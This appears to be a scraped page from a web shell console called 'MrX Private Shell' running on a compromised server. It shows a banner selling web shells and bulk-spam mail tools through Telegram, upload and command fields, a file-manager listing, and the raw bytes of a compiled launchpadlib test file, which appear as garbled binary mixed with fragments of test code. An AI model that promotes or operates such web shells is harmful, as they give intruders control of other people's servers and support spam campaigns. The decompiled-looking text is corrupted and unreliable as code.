__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�w�g�$��0�SrSSKJr SSKJrJr SSKrSSKrSSKJ	r	 SSK
Jr SSKJ
r
Jr SSKJr S	r\"05R%S
5r"SS5r"S
S\5r"SS\
5r"SS\R.5r"SS\5r"SS\5rg)z,Tests for the LaunchpadOAuthAwareHTTP class.�)�deque)�dumps�JSONDecodeErrorN)�Unauthorized)�UnencryptedFileCredentialStore)�	Launchpad�LaunchpadOAuthAwareHttp)�NoNetworkAuthorizationEngines�<?xml version="1.0"?>
<application xmlns="http://research.sun.com/wadl/2006/10">
  <resources base="http://www.example.com/">
    <resource path="" type="#service-root"/>
  </resources>

  <resource_type id="service-root">
    <method name="GET" id="service-root-get">
      <response>
        <representation href="#service-root-json"/>
      </response>
    </method>
  </resource_type>

  <representation id="service-root-json" mediaType="application/json"/>
</application>
zutf-8c��\rSrSrSrSrSrg)�Response�8zA fake HTTP response object.c��XlX lg�N)�status�content)�selfrrs   �>/usr/lib/python3/dist-packages/launchpadlib/tests/test_http.py�__init__�Response.__init__;s������)rrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�__static_attributes__�rrrr8s
��&�rrc�2^�\rSrSrSrU4SjrSrSrU=r$)�SimulatedResponsesHttp�@z<Responds to HTTP requests by shifting responses off a stack.c�H>�[TU]"U6 /UlXlSUlg)zcConstructor.

:param responses: A list of HttpResponse objects to use
    in response to requests.
N)�superr�sent_responses�unsent_responses�cache)r�	responses�args�	__class__s   �rr�SimulatedResponsesHttp.__init__Cs'���	���$�� ��� )����
rc��URR5nURRU5 UR"X"R
/UQ76$r)r$�popleftr#�append�retry_on_bad_tokenr)rr'�responses   r�_request�SimulatedResponsesHttp._requestNsF���(�(�0�0�2�����"�"�8�,��&�&�x�1A�1A�I�D�I�Ir)r%r#r$)	rrrrrrr/r�
__classcell__)r(s@rrr@s���F�	�J�Jrrc�.�\rSrSr/rSr\S5rSrg)�SimulatedResponsesLaunchpad�Tc�V�[[UR5XR/UQ76$r)rrr&�authorization_engine)rr's  r�httpFactory�'SimulatedResponsesLaunchpad.httpFactoryZs+��%��$�.�.�!�4�)B�)B�
�EI�
�	
rc�F�[[R"5SU5$)N�)r�tempfile�mkstemp)�cls�credential_save_faileds  r�credential_store_factory�4SimulatedResponsesLaunchpad.credential_store_factory_s#��-�����q�!�#9�
�	
rrN)	rrrrr&r7�classmethodr?rrrrr3r3Ts"���I�
�
�
��
rr3c�$�\rSrSrSrSrSrSrg)�SimulatedResponsesTestCase�fzATest cases that give fake responses to launchpad's HTTP requests.c�<�/[l[SS5Ulg)z*Clear out the list of simulated responses.zhttp://api.example.com/�application nameN)r3r&r
�engine�rs r�setUp� SimulatedResponsesTestCase.setUpis��02�#�-�2�%�'9�
��rc�T�U[l[RSURS9$)aAUse simulated HTTP responses to get a Launchpad object.

The given Response objects will be sent, in order, in response
to launchpadlib's requests.

:param responses: Some number of Response objects.
:return: The Launchpad object, assuming that errors in the
    simulated requests didn't prevent one from being created.
rF�r6)r3r&�
login_withrG)rr&s  r�launchpad_with_responses�3SimulatedResponsesTestCase.launchpad_with_responsesps.��1:�#�-�*�5�5��T�[�[�6�
�	
r)rGN)rrrrrrIrNrrrrrCrCfs��K�
�

rrCc�*�\rSrSrSrSrSrSrSrg)�TestAbilityToParseData�aGTest launchpadlib's ability to handle the sample data.

To create a Launchpad object, two HTTP requests must succeed and
return usable data: the requests for the WADL and JSON
representations of the service root. This test shows that the
minimal data in SIMPLE_WADL and SIMPLE_JSON is good enough to
create a Launchpad object.
c�`�UR[S[5[S[55 g)z5Make sure that launchpadlib can use the minimal data.��N)rNr�SIMPLE_WADL�SIMPLE_JSONrHs r�test_minimal_data�(TestAbilityToParseData.test_minimal_data�s#���%�%��S�+�&���k�(B�	
rc	�x�UR[UR[SS5[S[55 g)z'Show that bad WADL causes an exception.rTsThis is not WADL.N)�assertRaises�SyntaxErrorrNrrVrHs r�
test_bad_wadl�$TestAbilityToParseData.test_bad_wadl�s1�������)�)��S�.�/��S�+�&�		
rc	�x�UR[UR[S[5[SS55 g)z'Show that bad JSON causes an exception.rTsThis is not JSON.N)rZrrNrrUrHs r�
test_bad_json�$TestAbilityToParseData.test_bad_json�s1�������)�)��S�+�&��S�.�/�		
rrN)	rrrrrrWr\r_rrrrrQrQ�s���
�
�
rrQc�B�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�TestTokenFailureDuringRequest�aTest access token failures during a request.

launchpadlib makes two HTTP requests on startup, to get the WADL
and JSON representations of the service root. If Launchpad
receives a 401 error during this process, it will acquire a fresh
access token and try again.
c�*�[S[5[S[5/[lURURRS5 [RSURS9 URURRS5 g)z/If our token is good, we never get another one.rTrrFrLr:N�	rrUrVr3r&�assertEqualrG�access_tokens_obtainedrMrHs r�test_good_token�-TestTokenFailureDuringRequest.test_good_token�sw��
�S�+�&��S�+�&�1
�#�-�
	
������;�;�Q�?�#�.�.��T�[�[�	/�	
�	
������;�;�Q�?rc�@�[SS5[S[5[S[5/[lURURRS5 [RSURS9 URURRS5 g)	z(If our token is bad, we get another one.��Invalid token.rTrrFrL�NrerHs r�test_bad_token�,TestTokenFailureDuringRequest.test_bad_token�s���
�S�+�,��S�+�&��S�+�&�1
�#�-�	
������;�;�Q�?�#�.�.��T�[�[�	/�	
�	
������;�;�Q�?rc�@�[SS5[S[5[S[5/[lURURRS5 [RSURS9 URURRS5 g)	z,If our token is expired, we get another one.rk�Expired token.rTrrFrLrmNrerHs r�test_expired_token�0TestTokenFailureDuringRequest.test_expired_token�s���
�S�+�,��S�+�&��S�+�&�1
�#�-�	
������;�;�Q�?�#�.�.��T�[�[�	/�	
�	
������;�;�Q�?rc�@�[SS5[S[5[S[5/[lURURRS5 [RSURS9 URURRS5 g)	z,If our token is unknown, we get another one.rksUnknown access token.rTrrFrLrmNrerHs r�test_unknown_token�0TestTokenFailureDuringRequest.test_unknown_token�s���
�S�2�3��S�+�&��S�+�&�1
�#�-�	
������;�;�Q�?�#�.�.��T�[�[�	/�	
�	
������;�;�Q�?rc�@�[S[5[SS5[S[5/[lURURRS5 [RSURS9 URURRS5 g)	z6We get another token no matter when the error happens.rTrkrqrrFrLrmNrerHs r�test_delayed_error�0TestTokenFailureDuringRequest.test_delayed_error�s���
�S�+�&��S�+�,��S�+�&�1
�#�-�	
������;�;�Q�?�#�.�.��T�[�[�	/�	
�	
������;�;�Q�?rc�l�[SS5[S[5[SS5[SS5[S[5/[lURURRS5 [RSURS9 URURRS5 g	)
z@We'll keep getting new tokens as long as tokens are the problem.rkrlrTrqrrFrL�NrerHs r�test_many_errors�.TestTokenFailureDuringRequest.test_many_errors�s���
�S�+�,��S�+�&��S�+�,��S�+�,��S�+�&�1
�#�-�	
������;�;�Q�?�#�.�.��T�[�[�	/�	
�	
������;�;�Q�?rc��[SS5/[lUR[[R
SURS9 g)z>If the token is not at fault, a 401 error raises an exception.rksSome other error.rFrLN)rr3r&rZrrMrGrHs r�test_other_unauthorized�5TestTokenFailureDuringRequest.test_other_unauthorizedsE��
�S�.�/�1
�#�-�	
����'�2�2��!%���		�	
rrN)
rrrrrrhrnrrrurxr|rrrrrrbrb�s0���@�@�
@�
@�@�
@�
rrb)r�collectionsr�jsonrrr;�unittest�launchpadlib.errorsr�launchpadlib.credentialsr�launchpadlib.launchpadrr	�launchpadlib.testing.helpersr
rU�encoderVrrr3�TestCaserCrQrbrrr�<module>r�s���"3��'���,�C��F���&�B�i���w�'����J�4�J�(
�)�
�$
��!2�!2�
�4 
�7� 
�Fk
�$>�k
r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 197 B 0644
test_credential_store.cpython-313.pyc File 13.46 KB 0644
test_http.cpython-313.pyc File 11.72 KB 0644
test_launchpad.cpython-313.pyc File 40.67 KB 0644
Filemanager